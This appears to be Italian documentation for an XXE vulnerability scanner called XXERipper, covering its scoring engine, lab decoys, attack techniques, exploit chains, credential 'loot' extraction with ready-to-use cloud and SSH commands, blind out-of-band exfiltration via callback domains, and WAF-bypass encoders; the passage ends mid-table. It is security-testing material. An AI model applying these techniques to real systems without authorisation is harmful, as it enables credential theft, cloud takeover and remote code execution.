**Veto di nessun cambiamento (hard, −50).** Se il body della risposta è byte-identico all'hash del body più comune della baseline, il payload non ha cambiato nulla. `strong_signal` declassa questo a un punteggio normale senza il veto.
**Corrispondenza normalizzata con la baseline (hard, −75).** Anche quando l'hash differisce, la risposta può essere strutturalmente identica dopo aver rimosso spazi, blob esadecimali, numeri lunghi, token CSRF e ID di sessione. Se è così, è rumore della baseline. Stesso gate `strong_signal`.
**Anomalia di entropia (solo verso l'alto).** Scatta solo quando `median_length >= 256`. L'entropia dell'intera risposta è dominata dal contorno della pagina circostante e manca le piccole regioni incorporate ad alta entropia — un risultato di lettura file in una grande pagina di errore. La scansione a finestre (finestre di 256 byte, passo di 128 byte, primi 16 KiB) cattura quelle. Scala da +5 a 0.5 bit/byte sopra la baseline fino a +20 a 4.0 bit/byte sopra la baseline.
### Livello 3 — Segnali positivi
Ogni candidato sopravvissuto viene valutato rispetto alla baseline:
| Segnale | Peso | Ancora della baseline |
|---|---|---|
| Fingerprint del contenuto del file | +40, +5 per ogni indicatore extra | L'indicatore non deve apparire nei body della baseline |
| Integrità della catena (entità risolta end-to-end, non solo dichiarata) | +25 | Strutturale — la risposta si analizza come contenuto, non come markup |
| Errore del parser (alto / medio / basso) | +20 / +15 / +5 | La stringa di errore non deve apparire nei body della baseline |
| Anomalia di timing confermata | +20 | Delta ≥1.5s, rapporto ≥2.5× mediana, e delta ≥4× IQR oppure delta ≥2× jitter osservato |
| Anomalia di entropia a finestre | +5 a +20 | Solo verso l'alto, scalata dal delta in bit/byte |
| Callback OOB correlato | +50 | Il token nel sottodominio del callback corrisponde al token in sospeso |
| Callback OOB non correlato | +15 | Il callback è arrivato ma il token non corrispondeva |
| Delta di lunghezza (≥20%) | +10 | Rispetto alla lunghezza mediana |
| Shift di stato | +5 | Rispetto allo stato modale |
I fingerprint dei file richiedono **almeno due** stringhe indicatore corrispondenti, e la risposta non deve sembrare markup. Questo è ciò che impedisce a una pagina che menziona `root:x:0:0:` in uno snippet di documentazione di far scattare il rilevatore `/etc/passwd`.
### Livello 4 — Classificazione
| Punteggio | Segnale obbligatorio | Famiglie indipendenti | Risultato |
|---|---|---|---|
| ≥70 | Sì | ≥2 | **Confirmed** — CRITICAL |
| 45–69 | Sì | qualsiasi | **Potential** — HIGH |
| 25–44 | Sì | qualsiasi | **Potential** — MEDIUM |
| <25 | Sì | qualsiasi | **Theoretical** — LOW *(soppresso)* |
| qualsiasi | No | qualsiasi | **Theoretical** — INFO *(soppresso)* |
I **segnali obbligatori** sono limitati a tre: `file_type` (un fingerprint di contenuto file corrisponde), `oob_correlated` (è arrivato un callback OOB cripto-correlato) e `chain_integrity` (l'entità si è risolta end-to-end). Gli errori del parser e le anomalie di timing contribuiscono al punteggio ma non possono confermare un finding da soli — un errore del parser dice che il payload ha raggiunto il parser, non che l'entità si è risolta; un delta di timing dice che il target ha impiegato più tempo, non che è avvenuto un fetch di rete.
Le **famiglie indipendenti** contano *tipi* di evidenza distinti: `file_type`, `oob_correlated`, `chain_integrity`, `parser_error`, `response_elapsed`. Il requisito delle due famiglie significa che anche a punteggio ≥70, un singolo fingerprint forte non può promuovere a CRITICAL da solo. Necessita di un secondo segnale indipendente — un errore del parser specifico della risposta XXE, o un'anomalia di timing, o l'integrità della catena.
### Livello 5 — Costruzione della fiducia durante la scansione
Ogni fase vede un quadro del target più sicuro della precedente. Il fingerprint viene eseguito per primo e fa da gate alle fasi di lettura file. Le fasi di lettura file producono loot, che alimenta le fasi della catena. Le fasi della catena completano i template, che producono i rollup. I rollup vengono trattati come finding a pieno titolo e appaiono in ogni formato di output.
Il risultato è uno scanner che tratta "pulito" come uno stato da verificare anziché da presumere, e riporta la copertura a ogni fase così l'operatore può distinguere tra "il target non è vulnerabile" e "il target non è mai stato testato".
### Esca per falsi positivi nel lab
I lab inclusi vengono forniti con diciassette endpoint sicuri progettati specificamente per far scattare uno scanner che riporta in eccesso. Le cinque esche della baseline:
- `/xml/safe` — analizza con le entità disabilitate. Gli scanner corretti riportano `[OK]`.
- `/xml/noise` — restituisce un body casuale per richiesta. La normalizzazione della baseline lo cattura.
- `/xml/stripped` — analizza l'XML ma rimuove prima le dichiarazioni ENTITY. Uno scanner che tratta "il parser è stato eseguito" come un finding fallirà qui.
- `/xml/silent` — analizza ma rimuove il DOCTYPE prima di analizzare. Non rimane alcuna entità. Esca per falsi negativi.
- `/xml/safe-metadata` — restituisce stringhe a forma di AWS all'interno di HTML. Il fingerprint del file richiede due indicatori più non-markup per scattare — la risposta qui è markup.
Più dodici controparti sicure con scope corrispondente (`/xml/safe-form`, `/xml/safe-query`, `/xml/safe-svg`, `/xml/safe-saml`, `/xml/safe-soap`, `/xml/safe-multipart`, `/xml/safe-docx`, `/xml/safe-xinclude`, `/xml/safe-xinclude-xml`, `/xml/safe-xslt`, `/xml/safe-xsd`, `/xml/safe-pi`) che eseguono lo stesso controllo di scope della loro controparte vulnerabile ma analizzano con le entità disabilitate. Qualsiasi finding su uno di questi diciassette endpoint è un bug dello scanner.
---
## Accuracy Engine
Scoring ponderato con **gate sui segnali obbligatori**. Ogni risposta candidata viene valutata rispetto alla baseline statistica. Questa sezione dettaglia i pesi e le soglie; la sezione [Metodologia di Rilevamento](#detection-methodology) spiega il ragionamento.
| Segnale | Peso |
|---|---|
| Callback OOB correlato | +50 |
| Fingerprint del contenuto del file | +40 (+5 per ogni indicatore aggiuntivo) |
| Integrità della catena (entità risolta, non solo dichiarata) | +25 |
| Delta di errore del parser (alto / medio / basso) | +20 / +15 / +5 |
| Anomalia di timing confermata | +20 |
| Anomalia di entropia a finestre | +5 a +20, scalata dal delta in bit/byte |
| Callback OOB non correlato | +15 |
| Delta di lunghezza (deviazione ≥20%) | +10 |
| Shift del codice di stato | +5 |
| Penalità di riflessione (segnale forte presente) | −30 |
| Veto di riflessione (nessun segnale forte) | −100 |
| Veto di nessun cambiamento | −50 |
| Corrispondenza normalizzata con la baseline | −75 |
**L'entropia a finestre** usa finestre scorrevoli di 256 byte (passo di 128 byte, primi 16 KiB). Scatta solo quando `median_length >= 256`, solo su shift verso l'alto, e solo quando il delta supera 0.5 bit/byte. Scala da +5 alla soglia fino a +20 a 4.0 bit/byte.
| Punteggio | Segnale obbligatorio | Famiglie indipendenti | Risultato |
|---|---|---|---|
| ≥70 | Sì | ≥2 | **Confirmed** — CRITICAL |
| 45–69 | Sì | qualsiasi | **Potential** — HIGH |
| 25–44 | Sì | qualsiasi | **Potential** — MEDIUM |
| <25 | Sì | qualsiasi | **Theoretical** — LOW *(soppresso)* |
| qualsiasi | No | qualsiasi | **Theoretical** — INFO *(soppresso)* |
**I finding di timing sono sempre `potential`, non `confirmed`** — un delta di timing dice che il target ha impiegato più tempo, non che un'entità è stata risolta.
### Mappatura CWE
Ricerca con prefisso più lungo per primo. I finding XXE portano CWE-611; i finding di information-disclosure aggiungono CWE-200; SSRF-via-entity, i fetcher XSLT/XSD e ogni finding `XXE-CLOUD-METADATA-*` aggiungono CWE-918; `expect://` di PHP e i wrapper `XXE-RCE-*` aggiungono CWE-78; Billion Laughs è CWE-776; il riuso local-DTD error-based aggiunge CWE-829; `XXE-SAML-PRESIG` aggiunge CWE-347; `XXE-WAF-BYPASS-*` aggiunge CWE-693; la fase di deserializzazione YAML aggiunge CWE-502.
---
## Tecniche di Attacco
Oltre trenta famiglie distribuite su dieci classi.| Classe | Tecniche | Gravità | CWE |
|---|---|---|---|
| In-band | Lettura file classica, catena di filtri PHP, SSRF tramite entità | CRITICAL | 611, 200, 918 |
| RCE in-band | PHP `expect://` | CRITICAL | 611, 78 |
| Error-based | Riutilizzo DTD locale, Entità malformata | CRITICAL | 611, 200, 829 |
| Blind | DNS OOB, DTD esterno OOB, Entità parametro OOB, bypass CDATA, Basato su timing | CRITICAL / HIGH | 611 |
| Bypass di codifica | UTF-16, UTF-7, UCS-4, DOCTYPE alternativo | HIGH | 611 |
| Sink alternativi | XInclude (`parse='text'`, `parse='xml'`), upload SVG, envelope SAML, envelope SOAP | CRITICAL | 611, 918 |
| Fetcher estesi | XSLT `document()`, XSLT `xsl:include`, XSD `schemaLocation`, XSD `xsd:import`, PI `xml-stylesheet`, campo XML multipart, upload DOCX | HIGH / CRITICAL | 611, 918 |
| Metadati cloud | AWS IMDSv1, AWS IMDSv2 (rilevato), credenziali AWS IAM, AWS user-data, token/progetto GCP, Azure IMDS/managed-identity, Alibaba RAM, OCI, secret Kubernetes | CRITICAL / HIGH | 611, 918, 200 |
| Wrapper RCE | Java `jar:`, PHP `data://`, PHP `phar://`, PHP `glob://`, PHP `compress.zlib://` | CRITICAL | 611, 78, 200 |
| SAML pre-firma | Corpo dell'asserzione analizzato prima della verifica della firma | HIGH | 611, 347 |
| JSON-to-XML | Cambio di Content-type su endpoint solo JSON | HIGH | 611, 200 |
| Documento Office | PI `xml-stylesheet` in DOCX/XLSX recuperato da processori XSLT lato server | CRITICAL | 611, 918 |
| Deserializzazione YAML | PyYAML `!!python/object/apply`, SnakeYAML `!!javax.script.ScriptEngineManager` | CRITICAL | 502, 611 |
| DoS | Billion Laughs | HIGH | 776 |
**Le fasi di delivery-vector** sondano oltre la forma standard `POST` + `application/xml`:
- **Matrice Content-Type** — il payload classico sotto nove content type adiacenti a XML. Molti server instradano al loro parser XML solo quando il Content-Type corrisponde.
- **Variazione del metodo HTTP** — `PUT` e `PATCH`. Le API REST accettano frequentemente XML su quei metodi anche quando `POST` è solo JSON.
- **Iniezione tramite parametro di query** — `?xml=`, `?data=`, `?payload=`, `?input=`. API legacy e gateway accettano spesso XML in questo modo anche quando il body non viene analizzato come XML.
- **Commutazione JSON-to-XML** — una sonda XML benigna determina se l'endpoint accetta `application/xml` insieme al JSON pubblicizzato. Se non viene respinta esplicitamente con `415`, lo scanner prosegue con un payload classico di lettura file. Questo intercetta Spring MVC con `jackson-dataformat-xml` nel classpath (che accetta silenziosamente XML su qualsiasi endpoint `@RequestBody`, senza necessità di annotazioni).
**I metadati cloud** sono una fase dedicata, non solo una voce in una lista di URL. Vengono sondati undici endpoint su sei provider. Ognuno viene identificato tramite chiavi specifiche del provider (`AccessKeyId`, `SecretAccessKey`, `SecurityToken` per AWS IAM; `access_token`, `expires_in`, `token_type` per GCP OAuth; `vmId`, `subscriptionId` per Azure; ecc.). Una risposta contenente marcatori di credenziali viene promossa a CRITICAL e non viene sondata ulteriormente. **Rilevamento IMDSv2**: una risposta AWS con stato `401` e `token` nel body viene segnalata come `XXE-CLOUD-METADATA-IMDSV2` (HIGH) — la primitiva SSRF esiste ma il servizio di metadati impone un session token. Le credenziali estratte passano attraverso `LootStore.add_secret` e finiscono nella scheda Loot della WebUI con snippet pronti da incollare.
**I wrapper XXE-to-RCE** vengono sondati per i loro segnali di successo caratteristici:
| Wrapper | Segnale |
|---|---|
| Java `jar:file://…!/META-INF/MANIFEST.MF` | `Manifest-Version`, `Main-Class` |
| PHP `data://text/plain;base64,…` | `phpinfo`, `<?php` |
| PHP `phar://…/stub` | `unserialize`, `__PHP_Incomplete_Class` |
| PHP `glob:///etc/*` | Elenchi di percorsi (`/etc/`, `/root/`, `/usr/`) |
| PHP `compress.zlib://…` | `root:x:`, `daemon:x:` |
**SAML pre-firma** — i service provider SAML devono analizzare il corpo dell'asserzione prima di verificare la firma, la sequenza che CVE-2026-28809 (esaml) ha esposto. La fase invia prima un'asserzione SAML ben formata con una firma deliberatamente non valida; un errore del parser o un `200` segnala che l'endpoint ha raggiunto l'analisi XML. Solo allora viene inviato il payload XXE. Viene eseguita automaticamente su URL in forma SAML (`saml`, `sso`, `adfs`, `okta`, `assertion`, `federation`, `idp`, `sts/`, `sp/`), o incondizionatamente con `--saml`.
**XSLT su documenti Office** — la PI `xml-stylesheet` viene rispettata dai processori di documenti lato server in alcune configurazioni: renderer di anteprima Word, convertitori PDF, LibreOffice headless e Apache POI XSLF. La fase costruisce un DOCX (o XLSX) minimale la cui parte `word/document.xml` (o `xl/workbook.xml`) porta la PI che punta a un XSLT controllato dall'attaccante. Un callback correlato prova che il foglio di stile è stato recuperato. Distinto dall'XXE in senso stretto — è invocazione XSLT, che concatena a divulgazione di file (`document('file:///etc/passwd')`) e SSRF.
**Deserializzazione YAML** — CWE-502, non CWE-611. Lo scanner include quattro sonde: PyYAML `!!python/object/apply:os.system` e SnakeYAML `!!javax.script.ScriptEngineManager`, ciascuna inviata sia come body `application/x-yaml` grezzo sia all'interno di un wrapper XML. Un callback correlato prova l'RCE. La fase si interrompe dopo il primo successo; le varianti alternative sarebbero rumore.
**Fasi file-target** — set di priorità di 21 percorsi per impostazione predefinita; `--full-file-scan` si espande a 58 percorsi, aggiungendo percorsi Linux `/proc`, sorgenti applicative e file `.env`, percorsi di credenziali SSH/AWS/GCP, marcatori di container, `/run/secrets/*`, la proiezione del service-account Kubernetes e backup SAM di Windows, file unattend, log IIS e credenziali amministratore. Deduplicati al momento della scansione; nessun percorso viene sondato due volte.
**I risultati error-based sono separati** perché le tecniche hanno successo su parser diversi:
- `XXE-ERROR-BASED-LOCAL-DTD` — dirotta un DTD già esistente sul filesystem di destinazione. Usa la forma external-DOCTYPE accettata da libxml2 ≥2.9.
- `XXE-ERROR-BASED-MALFORMED` — dichiara un'entità parametro all'interno del subset interno e lascia che l'errore del parser riveli il file. Funziona su Xerces e .NET; libxml2 rifiuta le PE del subset interno a livello C.
**Le sonde di timing** puntano l'entità a un indirizzo RFC 5737 TEST-NET-1 (`http://192.0.2.1/`), garantito non instradabile. La risoluzione dell'entità si blocca sul timeout di connessione TCP del resolver.
**Fasi opt-in:** `--timing` (mantiene tre connessioni da ~5s per target), `--unsafe` (Billion Laughs), `--svg` (fasi in forma di upload), `--saml` (SAML pre-firma), `--full-file-scan` (lista file estesa), `--bypass-waf` (vedi sotto).
---
## Catene di Exploit ed Estrazione del Loot
Due sottosistemi trasformano i singoli risultati in una narrazione.
### Chain tracker
Ogni risultato che passa attraverso `add_finding` inizializza le fasi della catena tramite un singolo hook: `_record_chain_stages` legge l'ID del risultato e il dict delle evidenze e registra tutte le fasi che la combinazione implica. Un risultato con una chiave di evidenza `file_type` registra `xxe_confirmed`. Un risultato con un `loot_id` registra `file_content_recovered`. Un risultato le cui evidenze contengono `extracted_credentials` registra `credential_extracted`; se la credenziale è una chiave privata SSH, scatta anche `ssh_key_extracted`. E così via.
Sono definiti tredici template di catena. Ognuno richiede un insieme di fasi. Quando tutte le fasi richieste sono presenti, la catena scatta **una volta** (protetta da race di concorrenza) ed emette un risultato di rollup:
| ID Catena | Percorso | Gravità |
|---|---|---|
| `xxe_inband_file_credential_theft` | XXE → lettura file in-band → furto credenziali | CRITICAL |
| `xxe_imds_iam_aws_takeover` | XXE → IMDS → credenziali IAM → takeover account AWS | CRITICAL |
| `xxe_error_based_file_recovery` | XXE → leak error-based → contenuto file recuperato | HIGH |
| `xxe_php_source_disclosure` | XXE → filtro PHP → divulgazione sorgente | CRITICAL |
| `xxe_rce_chain` | XXE → wrapper di protocollo → catena RCE confermata | CRITICAL |
| `xxe_blind_oob_confirmed` | XXE → callback OOB blind confermato | HIGH |
| `xxe_ssrf_internal_enum` | XXE → SSRF → servizio interno raggiunto | HIGH |
| `xxe_waf_bypass_confirmed` | XXE → bypass WAF → risoluzione entità confermata | HIGH |
| `xxe_kubernetes_cluster_takeover` | XXE → API secret Kubernetes → furto credenziali cluster | CRITICAL |
| `xxe_k8s_serviceaccount_token` | XXE → lettura token SA in-cluster | CRITICAL |
| `xxe_ssh_key_lateral_movement` | XXE → chiave privata SSH → primitiva di movimento laterale | HIGH |
| `xxe_gcp_oauth_token_extraction` | XXE → metadati GCP → estrazione token OAuth | CRITICAL |
| `xxe_azure_managed_identity` | XXE → Azure IMDS → token managed-identity | CRITICAL |
I risultati di rollup portano una traccia dei passaggi serializzabile in JSON, un punteggio aggregato di 100 e una catena di motivazioni a lunghezza completa. Appaiono nell'output JSON, SARIF e HTML come qualsiasi altro risultato, e il loro prefisso ID (`XXE-CHAIN-`) è escluso dall'inizializzazione delle catene così non si ripetono mai in loop.
### Loot store
Ogni risultato di lettura file passa attraverso `LootStore`, che:
1. Estrae il contenuto grezzo del file dal body della risposta tramite `FileContentExtractor`. L'estrattore smista per `(file_path, fingerprint_type)`: `/etc/passwd` e `/etc/shadow` hanno matcher orientati alle righe con fallback a metà riga per errori del parser che rivelano un prefisso di percorso; le chiavi SSH usano confini PEM; `.env`, `web.ini`, `system.ini`, `boot.ini` hanno matcher in stile INI; `web.config` usa un matcher per elementi di configurazione; `/proc/self/environ` gestisce body delimitati da NUL. Un fallback generico estrae blocchi `<pre>` / `<textarea>` / `<code>` dalle risposte di markup.
2. Tronca a 256 KB (le credenziali vengono estratte dal contenuto completo prima del troncamento).
3. Deduplica tramite SHA-256 del contenuto.
4. Esegue `CredentialExtractor` sull'intero contenuto.
`CredentialExtractor` riconosce sette tipi di credenziali:
| Tipo | Origine | Affidabilità |
|---|---|---|
| `aws_iam` (JSON) | AWS IMDS `AccessKeyId` / `SecretAccessKey` / `Token` | 95 |
| `aws_iam` (INI) | File credenziali AWS CLI (`aws_access_key_id` / `aws_secret_access_key` / `aws_session_token`) | 90 |
| `alibaba_ram` | Metadati Alibaba Cloud (`AccessKeyId` / `AccessKeySecret` / `SecurityToken`) | 90 |
| `ssh_private_key` | Blocchi chiave privata PEM (RSA, OpenSSH, DSA, EC, PKCS#8) | 90 |
| `gcp_service_account` | JSON service-account (`"type": "service_account"` + `private_key_id`) | 85 |
| `oauth_token` | Metadati GCP e risposta Azure managed-identity (`access_token` + `expires_in` / `expires_on`) | 85 |
| `k8s_sa_token` | Kubernetes `SecretList` (`data.token` base64-JWT) o un file token service-account nudo | 90 |
| `generic_bearer` | Qualsiasi corrispondenza `Bearer <token>` o `Authorization: <token>` con un token di 24+ caratteri | 40 |
Ogni credenziale produce una lista di snippet shell pronti da incollare:
- **AWS IAM** — `aws sts get-caller-identity` per verificare che la chiave funzioni ancora, `aws s3 ls`, enumerazione delle policy IAM e un blocco `export` per la shell corrente.
- **Alibaba RAM** — `aliyun sts GetCallerIdentity`, `aliyun oss ls` e un blocco `export` con le corrette variabili d'ambiente `ALIBABA_CLOUD_*`.
- **Chiave privata SSH** — installazione, fingerprint e tentativo contro `github.com` / `gitlab.com` / `bitbucket.org`.
- **Service account GCP** — attivazione della chiave con `gcloud auth activate-service-account`.
- **Token di accesso OAuth** — `curl` contro l'endpoint userinfo di Google (funziona per i token GCP) e l'endpoint subscriptions di Azure (funziona per i token Azure).
- **Token service-account Kubernetes** — snippet `kubectl --token=…` costruiti con namespace e nome del service-account decodificati dai claim del JWT, più un comando `jq` per ispezionare i claim del token senza verificare la firma.
- **Bearer generico** — `curl` contro `httpbin.org/bearer` per verificare se il token è ancora valido.
Le credenziali estratte sono allegate sia alle evidenze del risultato (`extracted_credentials`) sia alla voce loot (`credentials`). La scheda **Loot** della WebUI e la scheda **Overview** dell'Inspector le mostrano inline con pulsanti di copia per singolo comando. Il report HTML le include nella sezione *Extracted loot*.
Il valore completo della credenziale appare nell'anteprima del Loot. Il mascheramento è stato rimosso nella v1.0.0 perché lo stesso valore è già visibile non mascherato nell'Inspector, nell'output JSON, nell'output SARIF e nel report HTML — mascherare in un punto e non negli altri non aveva alcuno scopo.
### Instradamento del loot tra le tecniche
L'estrazione del loot viene eseguita su ogni risultato il cui body di risposta contiene contenuto file analizzabile:
- **Letture file in-band** — `/etc/passwd`, `/etc/shadow`, chiavi SSH, `.env`, ecc. Estratte direttamente dalla risposta.
- **Leak error-based** — il contenuto del file è incorporato nel testo dell'errore del parser. Il matcher a metà riga per `/etc/passwd` lo intercetta.
- **Output del filtro PHP** — decodificato da base64 prima dell'estrazione, poi instradato attraverso l'estrattore di credenziali.
- **Risoluzioni XInclude** — il contenuto inlinato viene analizzato dallo stesso estrattore.
- **Risposte di metadati cloud** — le credenziali vengono estratte e instradate attraverso `LootStore.add_secret`, e gli ID loot risultanti sono allegati alle evidenze del risultato come `loot_ids`.
- **Esfiltrazione OOB blind** — quando `--oob-listen` o `--oob-dtd-dir` è attivo (o il server DTD ospitato dalla WebUI), il callback trasporta il contenuto del file, `OOBExfilExtractor` lo estrae e il risultato passa attraverso gli stessi estrattori di contenuto file e credenziali di una lettura in-band.
Il percorso di esfiltrazione blind è quello che cambia ciò che è lo strumento. Prima, `XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` diceva "il target ha recuperato il nostro DTD". Dopo, lo stesso risultato porta `loot_id`, `extracted_content_preview` e `extracted_credentials` nelle sue evidenze, il chain tracker vede il loot e può attivare `xxe_blind_oob_confirmed` → `file_content_recovered` → `credential_extracted`, e la scheda Loot della WebUI mostra il file recuperato con gli stessi snippet pronti da incollare di una lettura in-band.
---
## Conferma Out-of-Band
XXERipper usa **`interactsh-client`** come backend OOB. Ci sono due modalità.
### Modalità manuale (predefinita)
Lo scanner costruisce i payload sotto il tuo dominio di sessione; il client esegue la registrazione, il polling e la decifratura. Lo scanner non parla mai il protocollo Interactsh.```bash
# Terminal A
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
# Terminal B
xxeripper https://target.com/api/xml \
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
Quando la scansione termina, il riepilogo di ciascun target include un blocco [OOB] che elenca ogni payload inviato, raggruppato con la relativa etichetta di tecnica:```
[1/1] [MANUAL-OOB] https://target.com/api/xml
Parser: libxml2
[!] 3 phase(s) skipped:
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
[OOB] 7 payload(s) dispatched — watch your interactsh-client terminal
- [xxe-dns] xxe-dns-a1b2c3d4e5f6a7b8.c5f2a9b4e1d8a3f72c0b.oast.pro
DNS-only parameter entity (blind parser fingerprint)
- [xxe-dtd] xxe-dtd-9f8e7d6c5b4a3210.c5f2a9b4e1d8a3f72c0b.oast.pro
External DTD fetch (blind file exfiltration via DTD)
...
Quando `interactsh-client` stampa un'interazione, abbina il prefisso del sottodominio alla riga `[OOB]` corrispondente. Quella corrispondenza è la tua conferma.
**La modalità manuale non estrae l'esfiltrazione.** In modalità manuale, lo scanner invia i payload OOB e ritorna immediatamente — non legge mai l'output di interactsh. Il contenuto esfiltrato è visibile nel tuo terminale interactsh, non nel loot store dello scanner. Sia il banner della CLI che il job runner della WebUI stampano un avviso quando l'esfiltrazione è configurata ma la modalità auto è disattivata.
### Modalità auto (`--oob-auto`)
Lo scanner avvia `interactsh-client` come sottoprocesso, legge il suo flusso di eventi `-json -v`, estrae il dominio di sessione e correla i callback in-process. Nessun secondo terminale, nessun abbinamento manuale.```bash
xxeripper https://target.com/api/xml --oob-auto
# [*] Starting interactsh-client (--oob-auto)...
# [*] Session domain: c5f2a9b4e1d8a3f72c0b.oast.pro
# [*] Callbacks will be correlated automatically.
I callback vengono stampati su stderr nel momento in cui arrivano:``` [OOB-CALLBACK] dns xxe-dtd-9f8e7d6c5b4a3210 from 203.0.113.42
La correlazione è basata su token. Lo scanner genera un token univoco di 16 cifre esadecimali per ogni payload, lo incorpora nel sottodominio, registra la mappatura e abbina i callback in arrivo tramite il token. Un callback il cui sottodominio non contiene il token specifico in sospeso per il payload che ha generato il sottodominio viene scartato, quindi il traffico DNS non correlato non può essere attribuito erroneamente e un callback lento per l'iterazione *N* non può essere attribuito all'iterazione *N+1*. Un callback correlato porta il peso completo di +50 e contribuisce come segnale obbligatorio — può promuovere un finding a CRITICAL da solo (con il requisito delle due famiglie soddisfatto dalla famiglia OOB più l'integrità della catena o un fingerprint).
Le **scansioni batch** condividono un unico processo `interactsh-client` per tutta la durata dell'esecuzione. Ogni target ottiene la propria vista `OOBClient` con il proprio insieme di token, quindi l'attribuzione per target rimane corretta anche con `--threads 20`.
**Nella console web**, selezionando *Auto OOB mode* viene generato un unico `interactsh-client` condiviso per tutta la durata del processo server, avviato in modo lazy al primo job auto-OOB e riutilizzato in seguito. Più job concorrenti condividono il dominio ma mantengono insiemi di token indipendenti.
### Esfiltrazione cieca
Per impostazione predefinita, un finding OOB conferma che la risoluzione dell'entità è avvenuta — il callback è arrivato e il token prova che era nostro. Non recupera il contenuto del file. Per recuperare il contenuto, lo scanner deve servire il DTD che induce il target a inviare il proprio file nell'URL di callback.
Sono supportate tre modalità di hosting dei DTD:
**Server DTD integrato** (`--oob-listen HOST:PORT --oob-public-url URL`): lo scanner apre un proprio server HTTP e serve i DTD su richiesta. Ideale per laboratori di test, scansioni sullo stesso host e qualsiasi ambiente in cui il target può raggiungere l'indirizzo dello scanner.
**Servizio DTD basato su file** (`--oob-dtd-dir PATH --oob-dtd-url-prefix URL`): lo scanner scrive i file DTD in una directory; tu servi quella directory con nginx, Apache, `python -m http.server` o qualsiasi altra cosa. Ideale per target remoti reali in cui l'indirizzo dello scanner non è raggiungibile.
**Server DTD ospitato dalla WebUI**: seleziona **Serve DTDs from this WebUI** nel pannello di nuova scansione e fornisci il prefisso URL pubblico. Lo scanner registra i DTD su `/dtd/<token>.dtd` sullo stesso processo Flask che esegue la console. Nessun secondo terminale, nessun `python -m http.server`, nessuna directory separata. L'utente deve assicurarsi che il target possa raggiungere l'indirizzo di bind della WebUI — esegui il bind con `--host 0.0.0.0` e fornisci l'IP pubblico o l'hostname.
Quando l'esfiltrazione è attiva, i finding `XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` e `XXE-CDATA-BYPASS-OOB` portano il contenuto del file estratto come loot. La stessa pipeline `FileContentExtractor` e `CredentialExtractor` che viene eseguita sulle letture in-band viene eseguita sui byte esfiltrati, quindi una lettura cieca di `/etc/passwd` produce la stessa estrazione di credenziali e gli stessi snippet shell pronti da incollare di una lettura in-band. Il contenuto esfiltrato appare nella scheda **Loot** della WebUI, nel blocco `exfiltrated` della scheda OOB e nella sezione loot del report HTML.
**Prerequisito.** Il target deve essere in grado di raggiungere il tuo server DTD. Interactsh registra i callback ma non serve contenuto, quindi non può sostituire un vero endpoint HTTP. Questo è inerente al funzionamento dell'esfiltrazione XXE cieca, non un limite dello scanner.
**La modalità manuale non esfiltra.** L'esfiltrazione richiede che lo scanner legga il proprio flusso di callback, cosa che avviene solo in modalità `--oob-auto`. Se esegui la modalità manuale con `--oob-listen` o `--oob-dtd-dir`, i DTD verranno serviti, il target li recupererà, il target invierà il contenuto del file a interactsh — ma lo scanner non lo estrarrà, perché non legge mai l'output di interactsh. I dati esfiltrati sono visibili nel tuo terminale interactsh.
### Quando usare quale
- **Manuale** è l'impostazione predefinita più sicura. Nessun sottoprocesso, nessun handshake crittografico, e funziona con qualsiasi deployment di Interactsh, inclusa la coordinazione completamente air-gapped in cui il client viene eseguito su un host diverso.
- **Auto** è più veloce per scansioni batch e CI. Un solo comando, nessun riferimento incrociato. Richiede `interactsh-client` nel `PATH`. Necessario per l'esfiltrazione.
I **server self-hosted** funzionano in entrambe le modalità senza alcuna modifica lato scanner — punta `interactsh-client` al tuo server (tramite il suo flag `-s` / `-server`, oppure incapsulando il binario in un alias shell) e, in modalità manuale, passa il dominio di sessione stampato a `--oob-domain`.
---
## WAF Bypass Encoding
`--bypass-waf` rinvia l'intero catalogo di payload attraverso uno o più encoder *dopo* l'esecuzione delle fasi principali. Questo verifica se un WAF blocca le classiche forme di payload ma lascia passare un equivalente trasformato — ma lo fa senza nascondere i finding diretti dietro la scansione codificata.
Quindici encoder distribuiti su tre famiglie:
**Encoder di documento** (trasformano il flusso di byte):
| Nome | Trasformazione | Note |
|---|---|---|
| `utf16be` | UTF-16 BE con BOM | Classico spostamento del flusso di byte. La maggior parte dei WAF decodifica i body come UTF-8 e non nota i null intercalati. |
| `utf16le` | UTF-16 LE con BOM | Stesso principio, endianness opposta. |
| `utf16decl` | UTF-16 BE con BOM e dichiarazione riscritta | La dichiarazione viene aggiornata a `encoding="UTF-16"` così i parser rigorosi la accettano. |
| `utf16nobom` | UTF-16 BE senza BOM, dichiarazione riscritta | Alcuni parser rispettano la dichiarazione e inferiscono l'endianness; alcuni WAF usano il BOM come segnale di decodifica e saltano un body che ne è privo. |
| `utf32be` | UTF-32 BE con BOM | Meno comunemente supportato dai WAF rispetto a UTF-16. |
| `utf32le` | UTF-32 LE con BOM | Idem, endianness opposta. |
| `ebcdic` | EBCDIC CP037 | Quasi nessun WAF decodifica EBCDIC prima dell'ispezione. libxml2 lo rileva automaticamente; Xerces e .NET lo rifiutano in modo pulito. |
| `ucs4_2143` | UCS-4 byte order 2,1,4,3 | Permutazione Unicode TR#17. Il pattern di byte non corrisponde ad alcuna firma UTF-32 BE/LE, quindi i WAF non lo decodificano. Stesso ordine che ha aggirato XmlScanner di PhpSpreadsheet in CVE-2024-47873. |
| `utf8bom` | UTF-8 con BOM | Marginale ma gratuito. Sconfigge le regex ancorate a `^<?xml`. |
**Encoder di evasione delle keyword** (trasformano la dichiarazione dell'entità):
| Nome | Trasformazione | Note |
|---|---|---|
| `public` | `SYSTEM "…"` → `PUBLIC "-//x//" "…"` | XML valido. I WAF che corrispondono solo a `SYSTEM "file://` non lo notano. |
| `public_charref` | keyword `SYSTEM` → riferimenti di carattere esadecimali all'interno di una dichiarazione `PUBLIC` | I riferimenti di carattere vengono espansi all'interno di `PubidLiteral` ma non all'interno di `SystemLiteral`. Il parser ricompone `SYSTEM` come public ID; un WAF che corrisponde alla stringa letterale non lo nota. |
| `b64_uri` | `SYSTEM "file://…"` → `data:text/plain;base64,…` | Sonda di bypass, non una primitiva di lettura file — l'entità si risolve nella *stringa* URI, non nel contenuto del file. Usala per confermare che il WAF può essere sconfitto; combinala con un sink a livello applicativo per l'estrazione. |
**Encoder a livello di grammatica** (XML valido, sconfiggono i WAF pigri):
| Nome | Trasformazione | Note |
|---|---|---|
